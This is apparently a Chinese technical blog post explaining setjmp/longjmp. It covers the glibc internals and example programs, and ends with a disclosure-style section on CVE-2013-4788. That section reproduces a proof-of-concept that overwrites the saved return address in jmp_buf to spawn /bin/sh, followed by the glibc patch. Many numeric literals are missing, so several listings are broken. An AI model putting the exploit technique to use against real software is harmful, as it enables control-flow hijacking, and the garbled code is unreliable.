setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto

目录

. 应用场景
. Use Case Code Analysis
. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

1. 应用场景

非局部跳转通常被用于实现将程序控制流转移到错误处理模块中；或者是通过这种非正常的函数返回机制，返回到之前调用的函数中

. setjmp、longjmp的典型用途是异常处理机制的实现：利用longjmp恢复程序或线程的状态，甚至可以跳过栈中多层的函数调用

. 在信号处理机制中，进程在检查收到的信号，会从原来的系统调用中直接返回，而不是等到该调用完成。这种进程突然改变其上下文的情况，就是通过使用setjmp和longjmp来实现的。setjmp将保存的上下文载入用户空间，并继续在旧的上下文中继续执行。这就是说，进程执行一个系统调用，当因为资源或其他原因要去睡眠时，内核为进程作了一次setjmp，如果在睡眠中被信号唤醒，进程不能再进入睡眠时，内核为进程调用longjmp，该操作是内核为进程将现在的上下文切换成原先通过setjmp调用保存在进程用户区的上下文，这样就使得进程可以恢复等待资源前的状态，而且内核为setjmp返回1，使得进程知道该次系统调用失败 

. Linux的Kprobe机制使用setjmp、longjmp设置中断处理函数及回调函数

. C语言中有一个goto语句，其可以结合标号实现函数内部的任意跳转(但是在大多数情况下，都建议不要使用goto语句，因为采用goto语句后，代码维护工作量加大，而且使得代码的结构性变得很差)。另外，C语言标准中还提供一种非局部跳转"no-local goto"，其通过标准库<setjmp.h>中的两个标准函数setjmp和longjmp来实现 

0x1: 非局部跳转(no-local goto)实现原理

C语言的运行控制模型，是一个基于"栈结构"的"指令执行序列"，表现出来就是call/return: call调用一个函数，然后return从一个函数返回。在这种运行控制模型中，每个函数调用都会对应着一个栈帧，其中保存了这个函数的参数、返回值地址、局部变量以及控制信息(从高地址向低地址生长)等内容。当调用一个函数时，系统会创建一个对应的栈帧压入栈中，而从一个函数返回时，则系统会将该函数对应的栈帧从栈顶退出。正常的函数跳转就是这样从栈顶一个一个栈帧逐级地返回

另外，系统内部有一些寄存器记录着当前系统的状态信息，其中包括当前栈顶位置、位于栈顶的栈帧位置以及其他一些系统信息(例如代码段，数据段等等)。这些寄存器指示了当前程序运行点的系统状态，可以称为程序点
在宏函数setjmp中就是将这些系统寄存器的内容保存到jmp_buf类型变量env中，然后在函数longjmp中将函数setjmp保存在变量env中的系统状态信息恢复，此时系统寄存器中指示的栈顶的栈帧就是调用宏函数setjmp时的栈顶的栈帧(这相当于直接强制修改栈帧的状态来改变程序流的目的)。于是，相当控制流跳过了中间的若干个函数调用对应的栈帧，到达setjmp所在那个函数的栈帧
这就是非局部跳转的实现机制，其不同于上面所说的call/return跳转机制

正是因为这种实现机制，需要特别注意的是："包含setjmp()宏调用的函数一定不能终止"。如果该函数终止的话，该函数对应的栈帧也已经从系统栈中退出，于是setjmp()宏调用保存在env中的内容在longjmp函数恢复时，就不再是setjmp()宏调用所在程序点。此时，调用函数longjmp()就会出现不可预测的错误

Relevant Link:

http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html
https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx

2. Use Case Code Analysis

. 非局部跳转setjmp()
头文件<setjmp.h>中的说明提供了一种避免通常的函数调用和返回顺序的途径，特别的，它允许立即从一个多层嵌套的函数调用中返回
/*
#include <setjmp.h>
int setjmp(jmp_buf env);
*/
    ) setjmp()宏把当前状态信息保存到env中，供以后longjmp()恢复状态信息时使用
        1.1) 如果是直接调用setjmp()，那么返回值为0
        1.2) 如果是由于调用longjmp()而调用setjmp()，那么返回值非0
    ) setjmp()只能在某些特定情况下调用，如在if语句、switch语句及循环语句的条件测试部分以及一些简单的关系表达式中

. 非局部跳转longjmp()
    ) longjmp()用于恢复由最近一次调用setjmp()时保存到env的状态信息。当它执行完时，程序就象setjmp()刚刚执行完并返回非0值val那样继续执行
    ) 值得注意的是，包含setjmp()宏调用的函数一定不能已经终止。如果setjmp所在的函数已经调用返回了，那么longjmp使用该处setjmp所填写的对应jmp_buf缓冲区将不再有效。这是因为longjmp所要返回的"栈帧"(stack frame)已经不再存在了，程序返回到一个不再存在的执行点，很可能覆盖或者弄坏程序栈
    ) 所有可访问的对象的值都与调用longjmp()时相同，唯一的例外是，那些调用setjmp()宏的函数中的非volatile自动变量如果在调用setjmp()后有了改变，那么就变成未定义的
/*
#include <setjmp.h>
void longjmp(jmp_buf env, int val);
*/

0x1: jmp_buf

jmp_buf是setjmp.h中定义的一个结构类型，其用于保存系统状态信息。宏函数setjmp会将其所在的程序点的系统状态信息保存到某个jmp_buf的结构变量env中，而调用函数longjmp会将宏函数setjmp保存在变量env中的系统状态信息进行恢复，于是系统就会跳转到setjmp()宏调用所在的程序点继续进行。这样setjmp/longjmp就实现了非局部跳转的功能

\glibc-2.18\setjmp\setjmp.h

/*
Calling environment, plus possibly a saved signal mask.
*/
struct __jmp_buf_tag
{
    /*
    NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it.
    Do not move these members or add others before it.
    */
    __jmp_buf __jmpbuf;        /* Calling environment.  */
    int __mask_was_saved;        /* Saved the signal mask */
    __sigset_t __saved_mask;    /* Saved signal mask.    */
};

__BEGIN_NAMESPACE_STD

typedef struct __jmp_buf_tag jmp_buf[];

将jmp_buf定义为一个数组，那么可以将数据分配在栈上，但是作为参数传递的时候传的是一个指针

0x2: setjmp

创建本地的jmp_buf缓冲区并且初始化，用于将来跳转回此处。这个子程序(setjmp)保存程序的调用环境于env参数所指的缓冲区，env将被longjmp使用。如果是从setjmp直接调用返回

\glibc-2.18\ports\sysdeps\aarch64\setjmp.S

/* Keep traditional entry points in with sigsetjmp(). */
ENTRY (setjmp)
    mov    x1, #
    b    1f
END (setjmp)

ENTRY (_setjmp)
    mov    x1, #
    b    1f
END (_setjmp)
libc_hidden_def (_setjmp)

ENTRY (__sigsetjmp)

:
    stp    x19, x20, [x0, #JB_X19<<]
    stp    x21, x22, [x0, #JB_X21<<]
    stp    x23, x24, [x0, #JB_X23<<]
    stp    x25, x26, [x0, #JB_X25<<]
    stp    x27, x28, [x0, #JB_X27<<]
    stp    x29, x30, [x0, #JB_X29<<]
    stp     d8,  d9, [x0, #JB_D8<<]
    stp    d10, d11, [x0, #JB_D10<<]
    stp    d12, d13, [x0, #JB_D12<<]
    stp    d14, d15, [x0, #JB_D14<<]
    mov    x2,  sp
    str    x2,  [x0, #JB_SP<<]
#if defined NOT_IN_libc && defined IS_IN_rtld
    /* In ld.so we never save the signal mask */
    mov    w0, #
    RET
#else
    b    C_SYMBOL_NAME(__sigjmp_save)
#endif
END (__sigsetjmp)
hidden_def (__sigsetjmp)

code

/* setjmp example: error handling */
#include <stdio.h>      /* printf, scanf */
#include <stdlib.h>     /* exit */
#include <setjmp.h>     /* jmp_buf, setjmp, longjmp */

main()
{
    jmp_buf env;
    int val;

    /*
    setjmp会多次返回
    setjmp return value
    1. 正常调用(保存当前call的env): 返回0
    2. 调用longjmp返回: 取决于longjmp的第二个参数
        1) longjmp的第二个参数为非0: setjmp返回同样的值
        2) longjmp的第二个参数为0: setjmp返回1
    */
    val = setjmp (env);
    if (val)
    {
        fprintf (stderr,"Error %d happened\n",val);
        exit (val);
    }

    printf("Calling function.\n");
    longjmp (env,);   /* signaling an error */

    return ;
}

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alt="" />

0x3: longjmp

恢复env所指的缓冲区中的程序调用环境上下文，env所指缓冲区的内容是由setjmp子程序调用所保存。value的值从longjmp传递给setjmp。longjmp完成后，程序从对应的setjmp调用处继续执行，如同setjmp调用刚刚完成

\glibc-2.18\sysdeps\x86_64\__longjmp.S

/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val).  */
.text
ENTRY(__longjmp)
    /* Restore registers.  */
    mov (JB_RSP*)(%rdi),%R8_LP
    mov (JB_RBP*)(%rdi),%R9_LP
    mov (JB_PC*)(%rdi),%RDX_LP
#ifdef PTR_DEMANGLE
    PTR_DEMANGLE (%R8_LP)
    PTR_DEMANGLE (%R9_LP)
    PTR_DEMANGLE (%RDX_LP)
# ifdef __ILP32__
    /* We ignored the high bits of the %rbp value because only the low
       bits are mangled.  But we cannot presume that %rbp is being used
       as a pointer and truncate it, so recover the high bits.  */
    movl (JB_RBP* + )(%rdi), %eax
    shlq $, %rax
    orq %rax, %r9
# endif
#endif
    LIBC_PROBE (longjmp, , LP_SIZE@%RDI_LP, -@%esi, LP_SIZE@%RDX_LP)
    /* We add unwind information for the target here.  */
    cfi_def_cfa(%rdi, )
    cfi_register(%rsp,%r8)
    cfi_register(%rbp,%r9)
    cfi_register(%rip,%rdx)
    cfi_offset(%rbx,JB_RBX*)
    cfi_offset(%r12,JB_R12*)
    cfi_offset(%r13,JB_R13*)
    cfi_offset(%r14,JB_R14*)
    cfi_offset(%r15,JB_R15*)
    movq (JB_RBX*)(%rdi),%rbx
    movq (JB_R12*)(%rdi),%r12
    movq (JB_R13*)(%rdi),%r13
    movq (JB_R14*)(%rdi),%r14
    movq (JB_R15*)(%rdi),%r15
    /* Set return value for setjmp.  */
    mov %esi, %eax
    mov %R8_LP,%RSP_LP
    movq %r9,%rbp
    LIBC_PROBE (longjmp_target, ,
            LP_SIZE@%RDI_LP, -@%eax, LP_SIZE@%RDX_LP)
    jmpq *%rdx
END (__longjmp)

code

/* longjmp example */
#include <stdio.h>      /* printf */
#include <setjmp.h>     /* jmp_buf, setjmp, longjmp */

main()
{
    jmp_buf env;
    int val;

    val=setjmp(env);

    printf ("val is %d\n",val);

    if (!val) longjmp(env, );

    return ;
}

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Relevant Link:

http://my.oschina.net/onethin/blog/27793
https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html
http://www.cplusplus.com/reference/csetjmp/setjmp/
http://www.cplusplus.com/reference/csetjmp/longjmp/
http://zh.wikipedia.org/wiki/Setjmp.h
http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html
http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html

3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

0x1: poc

CVE(CAN) ID: CVE-2013-4788
glibc是绝大多数Linux操作系统中C库的实现。
glibc 2.4 -2.17版本存在缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用上下文中执行任意代码

/*
 * $FILE: bug-mangle.c
 *
 * Comment: Proof of concept for glibc versions <= 2.17
 *
 * $VERSION$
 *
 * Author: Hector Marco <[e-mail]>
 *         Ismael Ripoll <[e-mail]>
 *
 * $LICENSE:
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
   #define ROTATE 0x9
   #define PC_ENV_OFFSET 0x14
#elif __x86_64__
   #define ROTATE 0x11
   #define PC_ENV_OFFSET 0x38
#elif __arm__
   #define ROTATE 0x0
   #define PC_ENV_OFFSET 0x24
#else
   #error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value)
{
   // return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
    unsigned long ret;
    asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : ""(value));
    return ret;
}

int hacked()
{
   printf("[+] hacked !!\n");
   system("/bin/sh");
}

int main(void)
{
   //jmp_buf用于保存恢复调用环境所需的信息
   jmp_buf env;
   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

   printf("[+] Exploiting ...\n");
   if(setjmp(env) == )
   {
      printf("[-] Exploit failed.\n");
      return ;
   }

   /*Overwrite env return address */
   *ptr_ret_env = rol((uintptr_t)hacked);

   longjmp(env, );

   printf("[-] Exploit failed.\n");
   return ;
}

简单来说，就是通过覆盖jmp_buf中和返回地址有关的指针，来达到劫持CPU控制流的目的

0x2: pathc

diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c
--- glibc-2.17/csu/libc-start.c    -- ::13.000000000 +
+++ glibc-2.17-mangle-fix/csu/libc-start.c    -- ::48.000000000 +
@@ -, +, @@ extern void __pthread_initialize_minimal
    in thread local area.  */
 uintptr_t __stack_chk_guard attribute_relro;
 # endif
+
+# ifndef  THREAD_SET_POINTER_GUARD
+uintptr_t __pointer_chk_guard_local
+     attribute_relro attribute_hidden __attribute__ ((nocommon));
+# endif
+
 #endif

 #ifdef HAVE_PTR_NTHREADS
@@ -, +, @@ LIBC_START_MAIN (int (*main) (int, char
 # else
   __stack_chk_guard = stack_chk_guard;
 # endif
+    uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
+                          stack_chk_guard);
+# ifdef THREAD_SET_POINTER_GUARD
+      THREAD_SET_POINTER_GUARD (pointer_chk_guard);
+# else
+      __pointer_chk_guard_local = pointer_chk_guard;
+# endif
+
 #endif

   /* Register the destructor of the dynamic linker if there is any.  */

Relevant Link:

http://www.mra.net.cn/thread-17257-1-1.html
http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch
http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c
http://sebug.net/vuldb/ssvid-82213

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